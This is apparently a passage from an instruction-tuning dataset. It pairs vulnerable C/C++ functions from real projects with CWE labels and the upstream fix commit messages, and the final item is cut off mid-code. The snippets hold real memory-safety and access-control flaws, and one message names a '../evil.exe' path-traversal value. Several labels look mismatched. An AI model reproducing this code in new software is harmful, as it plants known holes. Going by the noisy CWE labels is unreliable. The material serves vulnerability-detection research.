+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ArgParser::checkCompletion()\n{\n    // See if we're being invoked from bash completion.\n    std::string bash_point_env;\n    if (QUtil::get_env(\"COMP_LINE\", &bash_line) &&\n        QUtil::get_env(\"COMP_POINT\", &bash_point_env))\n    {\n        int p = QUtil::string_to_int(bash_point_env.c_str());\n        if ((p > 0) && (p <= static_cast(bash_line.length())))\n        {\n            // Truncate the line. We ignore everything at or after the\n            // cursor for completion purposes.\n            bash_line = bash_line.substr(0, p);\n        }\n        // Set bash_cur and bash_prev based on bash_line rather than\n        // relying on argv. This enables us to use bashcompinit to get\n        // completion in zsh too since bashcompinit sets COMP_LINE and\n        // COMP_POINT but doesn't invoke the command with options like\n        // bash does.\n\n        // p is equal to length of the string. Walk backwards looking\n        // for the first separator. bash_cur is everything after the\n        // last separator, possibly empty.\n        char sep(0);\n        while (--p > 0)\n        {\n            char ch = bash_line.at(p);\n            if ((ch == ' ') || (ch == '=') || (ch == ':'))\n            {\n                sep = ch;\n                break;\n            }\n        }\n        bash_cur = bash_line.substr(1+p, std::string::npos);\n        if ((sep == ':') || (sep == '='))\n        {\n            // Bash sets prev to the non-space separator if any.\n            // Actually, if there are multiple separators in a row,\n            // they are all included in prev, but that detail is not\n            // important to us and not worth coding.\n            bash_prev = bash_line.substr(p, 1);\n        }\n        else\n        {\n            // Go back to the last separator and set prev based on\n            // that.\n            int p1 = p;\n            while (--p1 > 0)\n            {\n                char ch = bash_line.at(p1);\n                if ((ch == ' ') || (ch == ':') || (ch == '='))\n                {\n                    bash_prev = bash_line.substr(p1 + 1, p - p1 - 1);\n                    break;\n                }\n            }\n        }\n        if (bash_prev.empty())\n        {\n            bash_prev = bash_line.substr(0, p);\n        }\n        if (argc == 1)\n        {\n            // This is probably zsh using bashcompinit. There are a\n            // few differences in the expected output.\n            zsh_completion = true;\n        }\n        handleBashArguments();\n        bash_completion = true;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Status ValidateInputs(const Tensor *a_indices, const Tensor *a_values,\n                      const Tensor *a_shape, const Tensor *b) {\n  if (!TensorShapeUtils::IsMatrix(a_indices->shape())) {\n    return errors::InvalidArgument(\n        \"Input a_indices should be a matrix but received shape: \",\n        a_indices->shape().DebugString());\n  }\n  if (!TensorShapeUtils::IsVector(a_values->shape()) ||\n      !TensorShapeUtils::IsVector(a_shape->shape())) {\n    return errors::InvalidArgument(\n        \"Inputs a_values and a_shape should be vectors \"\n        \"but received shapes: \",\n        a_values->shape().DebugString(), \" and \",\n        a_shape->shape().DebugString());\n  }\n  if (a_shape->NumElements() != b->dims()) {\n    return errors::InvalidArgument(\n        \"Two operands have different ranks; received: \", a_shape->NumElements(),\n        \" and \", b->dims());\n  }\n  const auto a_shape_flat = a_shape->flat();\n  for (int i = 0; i < b->dims(); ++i) {\n    if (a_shape_flat(i) != b->dim_size(i)) {\n      return errors::InvalidArgument(\n          \"Dimension \", i,\n          \" does not equal (no broadcasting is supported): sparse side \",\n          a_shape_flat(i), \" vs dense side \", b->dim_size(i));\n    }\n  }\n  return Status::OK();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'Fix UB in SparseTensorDenseAdd\n\nAdded more input validation to avoid nullptr dereferencing and array index\nout of bounds issues.\n\nPiperOrigin-RevId: 446192704'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t ucma_write(struct file *filp, const char __user *buf,\n\t\t\t  size_t len, loff_t *pos)\n{\n\tstruct ucma_file *file = filp->private_data;\n\tstruct rdma_ucm_cmd_hdr hdr;\n\tssize_t ret;\n\n\tif (len < sizeof(hdr))\n\t\treturn -EINVAL;\n\n\tif (copy_from_user(&hdr, buf, sizeof(hdr)))\n\t\treturn -EFAULT;\n\n\tif (hdr.cmd >= ARRAY_SIZE(ucma_cmd_table))\n\t\treturn -EINVAL;\n\n\tif (hdr.in + sizeof(hdr) > len)\n\t\treturn -EINVAL;\n\n\tif (!ucma_cmd_table[hdr.cmd])\n\t\treturn -ENOSYS;\n\n\tret = ucma_cmd_table[hdr.cmd](file, buf + sizeof(hdr), hdr.in, hdr.out);\n\tif (!ret)\n\t\tret = len;\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'IB/security: Restrict use of the write() interface\n\nThe drivers/infiniband stack uses write() as a replacement for\nbi-directional ioctl().  This is not safe. There are ways to\ntrigger write calls that result in the return structure that\nis normally written to user space being shunted off to user\nspecified kernel memory instead.\n\nFor the immediate repair, detect and deny suspicious accesses to\nthe write API.\n\nFor long term, update the user space libraries and the kernel API\nto something that doesn't present the same security vulnerabilities\n(likely a structured ioctl() interface).\n\nThe impacted uAPI interfaces are generally only available if\nhardware from drivers/infiniband is installed in the system.\n\nReported-by: Jann Horn \nSigned-off-by: Linus Torvalds \nSigned-off-by: Jason Gunthorpe \n[ Expanded check to all known write() entry points ]\nCc: stable@vger.kernel.org\nSigned-off-by: Doug Ledford '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isis_print_mt_port_cap_subtlv(netdissect_options *ndo,\n                              const uint8_t *tptr, int len)\n{\n  int stlv_type, stlv_len;\n  const struct isis_subtlv_spb_mcid *subtlv_spb_mcid;\n  int i;\n\n  while (len > 2)\n  {\n    stlv_type = *(tptr++);\n    stlv_len  = *(tptr++);\n\n    /* first lets see if we know the subTLVs name*/\n    ND_PRINT((ndo, \"\\n\\t       %s subTLV #%u, length: %u\",\n               tok2str(isis_mt_port_cap_subtlv_values, \"unknown\", stlv_type),\n               stlv_type,\n               stlv_len));\n\n    /*len -= TLV_TYPE_LEN_OFFSET;*/\n    len = len -2;\n\n    switch (stlv_type)\n    {\n      case ISIS_SUBTLV_SPB_MCID:\n      {\n        ND_TCHECK2(*(tptr), ISIS_SUBTLV_SPB_MCID_MIN_LEN);\n\n        subtlv_spb_mcid = (const struct isis_subtlv_spb_mcid *)tptr;\n\n        ND_PRINT((ndo,  \"\\n\\t         MCID: \"));\n        isis_print_mcid(ndo, &(subtlv_spb_mcid->mcid));\n\n          /*tptr += SPB_MCID_MIN_LEN;\n            len -= SPB_MCID_MIN_LEN; */\n\n        ND_PRINT((ndo,  \"\\n\\t         AUX-MCID: \"));\n        isis_print_mcid(ndo, &(subtlv_spb_mcid->aux_mcid));\n\n          /*tptr += SPB_MCID_MIN_LEN;\n            len -= SPB_MCID_MIN_LEN; */\n        tptr = tptr + sizeof(struct isis_subtlv_spb_mcid);\n        len = len - sizeof(struct isis_subtlv_spb_mcid);\n\n        break;\n      }\n\n      case ISIS_SUBTLV_SPB_DIGEST:\n      {\n        ND_TCHECK2(*(tptr), ISIS_SUBTLV_SPB_DIGEST_MIN_LEN);\n\n        ND_PRINT((ndo, \"\\n\\t        RES: %d V: %d A: %d D: %d\",\n                        (*(tptr) >> 5), (((*tptr)>> 4) & 0x01),\n                        ((*(tptr) >> 2) & 0x03), ((*tptr) & 0x03)));\n\n        tptr++;\n\n        ND_PRINT((ndo,  \"\\n\\t         Digest: \"));\n\n        for(i=1;i<=8; i++)\n        {\n            ND_PRINT((ndo, \"%08x \", EXTRACT_32BITS(tptr)));\n            if (i%4 == 0 && i != 8)\n              ND_PRINT((ndo, \"\\n\\t                 \"));\n            tptr = tptr + 4;\n        }\n\n        len = len - ISIS_SUBTLV_SPB_DIGEST_MIN_LEN;\n\n        break;\n      }\n\n      case ISIS_SUBTLV_SPB_BVID:\n      {\n        ND_TCHECK2(*(tptr), stlv_len);\n\n        while (len >= ISIS_SUBTLV_SPB_BVID_MIN_LEN)\n        {\n          ND_TCHECK2(*(tptr), ISIS_SUBTLV_SPB_BVID_MIN_LEN);\n\n          ND_PRINT((ndo, \"\\n\\t           ECT: %08x\",\n                      EXTRACT_32BITS(tptr)));\n\n          tptr = tptr+4;\n\n          ND_PRINT((ndo, \" BVID: %d, U:%01x M:%01x \",\n                     (EXTRACT_16BITS (tptr) >> 4) ,\n                     (EXTRACT_16BITS (tptr) >> 3) & 0x01,\n                     (EXTRACT_16BITS (tptr) >> 2) & 0x01));\n\n          tptr = tptr + 2;\n          len = len - ISIS_SUBTLV_SPB_BVID_MIN_LEN;\n        }\n\n        break;\n      }\n\n      default:\n          break;\n    }\n  }\n\n  return 0;\n\n  trunc:\n    ND_PRINT((ndo, \"\\n\\t\\t\"));\n    ND_PRINT((ndo, \"%s\", tstr));\n    return(1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13026/IS-IS: Clean up processing of subTLVs.\n\nAdd bounds checks, do a common check to make sure we captured the entire\nsubTLV, add checks to make sure the subTLV fits within the TLV.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd tests using the capture files supplied by the reporter(s), modified\nso the capture files won't be rejected as an invalid capture.\n\nUpdate existing tests for changes to IS-IS dissector.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: _fep_open_control_socket (Fep *fep)\n{\n  struct sockaddr_un sun;\n  char *path;\n  int fd;\n  ssize_t sun_len;\n\n  fd = socket (AF_UNIX, SOCK_STREAM, 0);\n  if (fd < 0)\n    {\n      perror (\"socket\");\n      return -1;\n    }\n\n  path = create_socket_name (\"fep-XXXXXX/control\");\n  if (strlen (path) + 1 >= sizeof(sun.sun_path))\n    {\n      fep_log (FEP_LOG_LEVEL_WARNING,\n\t       \"unix domain socket path too long: %d + 1 >= %d\",\n\t       strlen (path),\n\t       sizeof (sun.sun_path));\n      free (path);\n      return -1;\n    }\n\n  memset (&sun, 0, sizeof(sun));\n  sun.sun_family = AF_UNIX;\n\n#ifdef __linux__\n  sun.sun_path[0] = '\\0';\n  memcpy (sun.sun_path + 1, path, strlen (path));\n  sun_len = offsetof (struct sockaddr_un, sun_path) + strlen (path) + 1;\n  remove_control_socket (path);\n#else\n  memcpy (sun.sun_path, path, strlen (path));\n  sun_len = sizeof (struct sockaddr_un);\n#endif\n\n  if (bind (fd, (const struct sockaddr *) &sun, sun_len) < 0)\n    {\n      perror (\"bind\");\n      free (path);\n      close (fd);\n      return -1;\n    }\n\n  if (listen (fd, 5) < 0)\n    {\n      perror (\"listen\");\n      free (path);\n      close (fd);\n      return -1;\n    }\n\n  fep->server = fd;\n  fep->control_socket_path = path;\n  return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-264'], 'message': 'Don't use abstract Unix domain sockets'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ModHandle CModules::OpenModule(const CString& sModule, const CString& sModPath,\n                               CModInfo& Info, CString& sRetMsg) {\n    // Some sane defaults in case anything errors out below\n    sRetMsg.clear();\n\n    for (unsigned int a = 0; a < sModule.length(); a++) {\n        if (((sModule[a] < '0') || (sModule[a] > '9')) &&\n            ((sModule[a] < 'a') || (sModule[a] > 'z')) &&\n            ((sModule[a] < 'A') || (sModule[a] > 'Z')) && (sModule[a] != '_')) {\n            sRetMsg =\n                t_f(\"Module names can only contain letters, numbers and \"\n                    \"underscores, [{1}] is invalid\")(sModule);\n            return nullptr;\n        }\n    }\n\n    // The second argument to dlopen() has a long history. It seems clear\n    // that (despite what the man page says) we must include either of\n    // RTLD_NOW and RTLD_LAZY and either of RTLD_GLOBAL and RTLD_LOCAL.\n    //\n    // RTLD_NOW vs. RTLD_LAZY: We use RTLD_NOW to avoid ZNC dying due to\n    // failed symbol lookups later on. Doesn't really seem to have much of a\n    // performance impact.\n    //\n    // RTLD_GLOBAL vs. RTLD_LOCAL: If perl is loaded with RTLD_LOCAL and later\n    // on loads own modules (which it apparently does with RTLD_LAZY), we will\n    // die in a name lookup since one of perl's symbols isn't found. That's\n    // worse than any theoretical issue with RTLD_GLOBAL.\n    ModHandle p = dlopen((sModPath).c_str(), RTLD_NOW | RTLD_GLOBAL);\n\n    if (!p) {\n        // dlerror() returns pointer to static buffer, which may be overwritten\n        // very soon with another dl call also it may just return null.\n        const char* cDlError = dlerror();\n        CString sDlError = cDlError ? cDlError : t_s(\"Unknown error\");\n        sRetMsg = t_f(\"Unable to open module {1}: {2}\")(sModule, sDlError);\n        return nullptr;\n    }\n\n    const CModuleEntry* (*fpZNCModuleEntry)() = nullptr;\n    // man dlsym(3) explains this\n    *reinterpret_cast(&fpZNCModuleEntry) = dlsym(p, \"ZNCModuleEntry\");\n    if (!fpZNCModuleEntry) {\n        dlclose(p);\n        sRetMsg = t_f(\"Could not find ZNCModuleEntry in module {1}\")(sModule);\n        return nullptr;\n    }\n    const CModuleEntry* pModuleEntry = fpZNCModuleEntry();\n\n    if (std::strcmp(pModuleEntry->pcVersion, VERSION_STR) ||\n        std::strcmp(pModuleEntry->pcVersionExtra, VERSION_EXTRA)) {\n        sRetMsg = t_f(\n            \"Version mismatch for module {1}: core is {2}, module is built for \"\n            \"{3}. Recompile this module.\")(\n            sModule, VERSION_STR VERSION_EXTRA,\n            CString(pModuleEntry->pcVersion) + pModuleEntry->pcVersionExtra);\n        dlclose(p);\n        return nullptr;\n    }\n\n    if (std::strcmp(pModuleEntry->pcCompileOptions,\n                    ZNC_COMPILE_OPTIONS_STRING)) {\n        sRetMsg = t_f(\n            \"Module {1} is built incompatibly: core is '{2}', module is '{3}'. \"\n            \"Recompile this module.\")(sModule, ZNC_COMPILE_OPTIONS_STRING,\n                                      pModuleEntry->pcCompileOptions);\n        dlclose(p);\n        return nullptr;\n    }\n\n    CTranslationDomainRefHolder translation(\"znc-\" + sModule);\n    pModuleEntry->fpFillModInfo(Info);\n\n    sRetMsg = \"\";\n    return p;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-264'], 'message': 'Fix remote code execution and privilege escalation vulnerability.\n\nTo trigger this, need to have a user already.\n\nThanks for Jeriko One  for finding and reporting this.\n\nCVE-2019-12816'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: R_API RConfigNode* r_config_set(RConfig *cfg, const char *name, const char *value) {\n\tRConfigNode *node = NULL;\n\tchar *ov = NULL;\n\tut64 oi;\n\tif (!cfg || STRNULL (name)) {\n\t\treturn NULL;\n\t}\n\tnode = r_config_node_get (cfg, name);\n\tif (node) {\n\t\tif (node->flags & CN_RO) {\n\t\t\teprintf (\"(error: '%s' config key is read only)\\n\", name);\n\t\t\treturn node;\n\t\t}\n\t\toi = node->i_value;\n\t\tif (node->value) {\n\t\t\tov = strdup (node->value);\n\t\t\tif (!ov) {\n\t\t\t\tgoto beach;\n\t\t\t}\n\t\t} else {\n\t\t\tfree (node->value);\n\t\t\tnode->value = strdup (\"\");\n\t\t}\n\t\tif (node->flags & CN_BOOL) {\n\t\t\tbool b = is_true (value);\n\t\t\tnode->i_value = (ut64) b? 1: 0;\n\t\t\tchar *value = strdup (r_str_bool (b));\n\t\t\tif (value) {\n\t\t\t\tfree (node->value);\n\t\t\t\tnode->value = value;\n\t\t\t}\n\t\t} else {\n\t\t\tif (!value) {\n\t\t\t\tfree (node->value);\n\t\t\t\tnode->value = strdup (\"\");\n\t\t\t\tnode->i_value = 0;\n\t\t\t} else {\n\t\t\t\tif (node->value == value) {\n\t\t\t\t\tgoto beach;\n\t\t\t\t}\n\t\t\t\tfree (node->value);\n\t\t\t\tnode->value = strdup (value);\n\t\t\t\tif (IS_DIGIT (*value)) {\n\t\t\t\t\tif (strchr (value, '/')) {\n\t\t\t\t\t\tnode->i_value = r_num_get (cfg->num, value);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnode->i_value = r_num_math (cfg->num, value);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tnode->i_value = 0;\n\t\t\t\t}\n\t\t\t\tnode->flags |= CN_INT;\n\t\t\t}\n\t\t}\n\t} else { // Create a new RConfigNode\n\t\toi = UT64_MAX;\n\t\tif (!cfg->lock) {\n\t\t\tnode = r_config_node_new (name, value);\n\t\t\tif (node) {\n\t\t\t\tif (value && is_bool (value)) {\n\t\t\t\t\tnode->flags |= CN_BOOL;\n\t\t\t\t\tnode->i_value = is_true (value)? 1: 0;\n\t\t\t\t}\n\t\t\t\tif (cfg->ht) {\n\t\t\t\t\tht_insert (cfg->ht, node->name, node);\n\t\t\t\t\tr_list_append (cfg->nodes, node);\n\t\t\t\t\tcfg->n_nodes++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\teprintf (\"r_config_set: unable to create a new RConfigNode\\n\");\n\t\t\t}\n\t\t} else {\n\t\t\teprintf (\"r_config_set: variable '%s' not found\\n\", name);\n\t\t}\n\t}\n\n\tif (node && node->setter) {\n\t\tint ret = node->setter (cfg->user, node);\n\t\tif (ret == false) {\n\t\t\tif (oi != UT64_MAX) {\n\t\t\t\tnode->i_value = oi;\n\t\t\t}\n\t\t\tfree (node->value);\n\t\t\tnode->value = strdup (ov? ov: \"\");\n\t\t}\n\t}\nbeach:\n\tfree (ov);\n\treturn node;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'Fix #7698 - UAF in r_config_set when loading a dex'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ZSTD_encodeSequences_body(\n            void* dst, size_t dstCapacity,\n            FSE_CTable const* CTable_MatchLength, BYTE const* mlCodeTable,\n            FSE_CTable const* CTable_OffsetBits, BYTE const* ofCodeTable,\n            FSE_CTable const* CTable_LitLength, BYTE const* llCodeTable,\n            seqDef const* sequences, size_t nbSeq, int longOffsets)\n{\n    BIT_CStream_t blockStream;\n    FSE_CState_t  stateMatchLength;\n    FSE_CState_t  stateOffsetBits;\n    FSE_CState_t  stateLitLength;\n\n    CHECK_E(BIT_initCStream(&blockStream, dst, dstCapacity), dstSize_tooSmall); /* not enough space remaining */\n\n    /* first symbols */\n    FSE_initCState2(&stateMatchLength, CTable_MatchLength, mlCodeTable[nbSeq-1]);\n    FSE_initCState2(&stateOffsetBits,  CTable_OffsetBits,  ofCodeTable[nbSeq-1]);\n    FSE_initCState2(&stateLitLength,   CTable_LitLength,   llCodeTable[nbSeq-1]);\n    BIT_addBits(&blockStream, sequences[nbSeq-1].litLength, LL_bits[llCodeTable[nbSeq-1]]);\n    if (MEM_32bits()) BIT_flushBits(&blockStream);\n    BIT_addBits(&blockStream, sequences[nbSeq-1].matchLength, ML_bits[mlCodeTable[nbSeq-1]]);\n    if (MEM_32bits()) BIT_flushBits(&blockStream);\n    if (longOffsets) {\n        U32 const ofBits = ofCodeTable[nbSeq-1];\n        int const extraBits = ofBits - MIN(ofBits, STREAM_ACCUMULATOR_MIN-1);\n        if (extraBits) {\n            BIT_addBits(&blockStream, sequences[nbSeq-1].offset, extraBits);\n            BIT_flushBits(&blockStream);\n        }\n        BIT_addBits(&blockStream, sequences[nbSeq-1].offset >> extraBits,\n                    ofBits - extraBits);\n    } else {\n        BIT_addBits(&blockStream, sequences[nbSeq-1].offset, ofCodeTable[nbSeq-1]);\n    }\n    BIT_flushBits(&blockStream);\n\n    {   size_t n;\n        for (n=nbSeq-2 ; n= 64-7-(LLFSELog+MLFSELog+OffFSELog)))\n                BIT_flushBits(&blockStream);                                /* (7)*/\n            BIT_addBits(&blockStream, sequences[n].litLength, llBits);\n            if (MEM_32bits() && ((llBits+mlBits)>24)) BIT_flushBits(&blockStream);\n            BIT_addBits(&blockStream, sequences[n].matchLength, mlBits);\n            if (MEM_32bits() || (ofBits+mlBits+llBits > 56)) BIT_flushBits(&blockStream);\n            if (longOffsets) {\n                int const extraBits = ofBits - MIN(ofBits, STREAM_ACCUMULATOR_MIN-1);\n                if (extraBits) {\n                    BIT_addBits(&blockStream, sequences[n].offset, extraBits);\n                    BIT_flushBits(&blockStream);                            /* (7)*/\n                }\n                BIT_addBits(&blockStream, sequences[n].offset >> extraBits,\n                            ofBits - extraBits);                            /* 31 */\n            } else {\n                BIT_addBits(&blockStream, sequences[n].offset, ofBits);     /* 31 */\n            }\n            BIT_flushBits(&blockStream);                                    /* (7)*/\n    }   }\n\n    DEBUGLOG(6, \"ZSTD_encodeSequences: flushing ML state with %u bits\", stateMatchLength.stateLog);\n    FSE_flushCState(&blockStream, &stateMatchLength);\n    DEBUGLOG(6, \"ZSTD_encodeSequences: flushing Off state with %u bits\", stateOffsetBits.stateLog);\n    FSE_flushCState(&blockStream, &stateOffsetBits);\n    DEBUGLOG(6, \"ZSTD_encodeSequences: flushing LL state with %u bits\", stateLitLength.stateLog);\n    FSE_flushCState(&blockStream, &stateLitLength);\n\n    {   size_t const streamSize = BIT_closeCStream(&blockStream);\n        if (streamSize==0) return ERROR(dstSize_tooSmall);   /* not enough space */\n        return streamSize;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-362'], 'message': 'fixed T36302429'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void TestJlCompress::extractDir_data()\n{\n    QTest::addColumn(\"zipName\");\n    QTest::addColumn(\"fileNames\");\n    QTest::newRow(\"simple\") << \"jlextdir.zip\" << (\n            QStringList() << \"test0.txt\" << \"testdir1/test1.txt\"\n            << \"testdir2/test2.txt\" << \"testdir2/subdir/test2sub.txt\");\n    QTest::newRow(\"separate dir\") << \"sepdir.zip\" << (\n            QStringList() << \"laj/\" << \"laj/lajfile.txt\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-22'], 'message': 'Fixed the Zip Slip vulnerability in JlCompress\n\nWhen extracting a file with a dangerous path like \"../evil.exe\"\nfrom a ZIP archive with JlCompress::extractDir(), the target\nfile would be created outside of the target directory, potentially\neven overwriting an existing file there.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: std::string subconverter(RESPONSE_CALLBACK_ARGS)\n{\n    std::string &argument = request.argument;\n    int *status_code = &response.status_code;\n\n    std::string argTarget = getUrlArg(argument, \"target\"), argSurgeVer = getUrlArg(argument, \"ver\");\n    tribool argClashNewField = getUrlArg(argument, \"new_name\");\n    int intSurgeVer = argSurgeVer.size() ? to_int(argSurgeVer, 3) : 3;\n    if(argTarget == \"auto\")\n        matchUserAgent(request.headers[\"User-Agent\"], argTarget, argClashNewField, intSurgeVer);\n\n    /// don't try to load groups or rulesets when generating simple subscriptions\n    bool lSimpleSubscription = false;\n    switch(hash_(argTarget))\n    {\n    case \"ss\"_hash: case \"ssd\"_hash: case \"ssr\"_hash: case \"sssub\"_hash: case \"v2ray\"_hash: case \"trojan\"_hash: case \"mixed\"_hash:\n        lSimpleSubscription = true;\n        break;\n    case \"clash\"_hash: case \"clashr\"_hash: case \"surge\"_hash: case \"quan\"_hash: case \"quanx\"_hash: case \"loon\"_hash: case \"surfboard\"_hash: case \"mellow\"_hash:\n        break;\n    default:\n        *status_code = 400;\n        return \"Invalid target!\";\n    }\n    //check if we need to read configuration\n    if((!global.APIMode || global.CFWChildProcess) && !global.generatorMode)\n        readConf();\n\n    /// string values\n    std::string argUrl = urlDecode(getUrlArg(argument, \"url\"));\n    std::string argGroupName = urlDecode(getUrlArg(argument, \"group\")), argUploadPath = getUrlArg(argument, \"upload_path\");\n    std::string argIncludeRemark = urlDecode(getUrlArg(argument, \"include\")), argExcludeRemark = urlDecode(getUrlArg(argument, \"exclude\"));\n    std::string argCustomGroups = urlSafeBase64Decode(getUrlArg(argument, \"groups\")), argCustomRulesets = urlSafeBase64Decode(getUrlArg(argument, \"ruleset\")), argExternalConfig = urlDecode(getUrlArg(argument, \"config\"));\n    std::string argDeviceID = getUrlArg(argument, \"dev_id\"), argFilename = urlDecode(getUrlArg(argument, \"filename\")), argUpdateInterval = getUrlArg(argument, \"interval\"), argUpdateStrict = getUrlArg(argument, \"strict\");\n    std::string argRenames = urlDecode(getUrlArg(argument, \"rename\")), argFilterScript = urlDecode(getUrlArg(argument, \"filter_script\"));\n\n    /// switches with default value\n    tribool argUpload = getUrlArg(argument, \"upload\"), argEmoji = getUrlArg(argument, \"emoji\"), argAddEmoji = getUrlArg(argument, \"add_emoji\"), argRemoveEmoji = getUrlArg(argument, \"remove_emoji\");\n    tribool argAppendType = getUrlArg(argument, \"append_type\"), argTFO = getUrlArg(argument, \"tfo\"), argUDP = getUrlArg(argument, \"udp\"), argGenNodeList = getUrlArg(argument, \"list\");\n    tribool argSort = getUrlArg(argument, \"sort\"), argUseSortScript = getUrlArg(argument, \"sort_script\");\n    tribool argGenClashScript = getUrlArg(argument, \"script\"), argEnableInsert = getUrlArg(argument, \"insert\");\n    tribool argSkipCertVerify = getUrlArg(argument, \"scv\"), argFilterDeprecated = getUrlArg(argument, \"fdn\"), argExpandRulesets = getUrlArg(argument, \"expand\"), argAppendUserinfo = getUrlArg(argument, \"append_info\");\n    tribool argPrependInsert = getUrlArg(argument, \"prepend\"), argGenClassicalRuleProvider = getUrlArg(argument, \"classic\"), argTLS13 = getUrlArg(argument, \"tls13\");\n\n    std::string base_content, output_content;\n    ProxyGroupConfigs lCustomProxyGroups = global.customProxyGroups;\n    RulesetConfigs lCustomRulesets = global.customRulesets;\n    string_array lIncludeRemarks = global.includeRemarks, lExcludeRemarks = global.excludeRemarks;\n    std::vector lRulesetContent;\n    extra_settings ext;\n    std::string subInfo, dummy;\n    int interval = argUpdateInterval.size() ? to_int(argUpdateInterval, global.updateInterval) : global.updateInterval;\n    bool authorized = !global.APIMode || getUrlArg(argument, \"token\") == global.accessToken, strict = argUpdateStrict.size() ? argUpdateStrict == \"true\" : global.updateStrict;\n\n    if(std::find(gRegexBlacklist.cbegin(), gRegexBlacklist.cend(), argIncludeRemark) != gRegexBlacklist.cend() || std::find(gRegexBlacklist.cbegin(), gRegexBlacklist.cend(), argExcludeRemark) != gRegexBlacklist.cend())\n        return \"Invalid request!\";\n\n    /// for external configuration\n    std::string lClashBase = global.clashBase, lSurgeBase = global.surgeBase, lMellowBase = global.mellowBase, lSurfboardBase = global.surfboardBase;\n    std::string lQuanBase = global.quanBase, lQuanXBase = global.quanXBase, lLoonBase = global.loonBase, lSSSubBase = global.SSSubBase;\n\n    /// validate urls\n    argEnableInsert.define(global.enableInsert);\n    if(!argUrl.size() && (!global.APIMode || authorized))\n        argUrl = global.defaultUrls;\n    if((!argUrl.size() && !(global.insertUrls.size() && argEnableInsert)) || !argTarget.size())\n    {\n        *status_code = 400;\n        return \"Invalid request!\";\n    }\n\n    /// load request arguments as template variables\n    string_array req_args = split(argument, \"&\");\n    string_map req_arg_map;\n    for(std::string &x : req_args)\n    {\n        string_size pos = x.find(\"=\");\n        if(pos == x.npos)\n        {\n            req_arg_map[x] = \"\";\n            continue;\n        }\n        if(x.substr(0, pos) == \"token\")\n            continue;\n        req_arg_map[x.substr(0, pos)] = x.substr(pos + 1);\n    }\n    req_arg_map[\"target\"] = argTarget;\n    req_arg_map[\"ver\"] = std::to_string(intSurgeVer);\n\n    /// save template variables\n    template_args tpl_args;\n    tpl_args.global_vars = global.templateVars;\n    tpl_args.request_params = req_arg_map;\n\n    /// check for proxy settings\n    std::string proxy = parseProxy(global.proxySubscription);\n\n    /// check other flags\n    ext.append_proxy_type = argAppendType.get(global.appendType);\n    if((argTarget == \"clash\" || argTarget == \"clashr\") && argGenClashScript.is_undef())\n        argExpandRulesets.define(true);\n\n    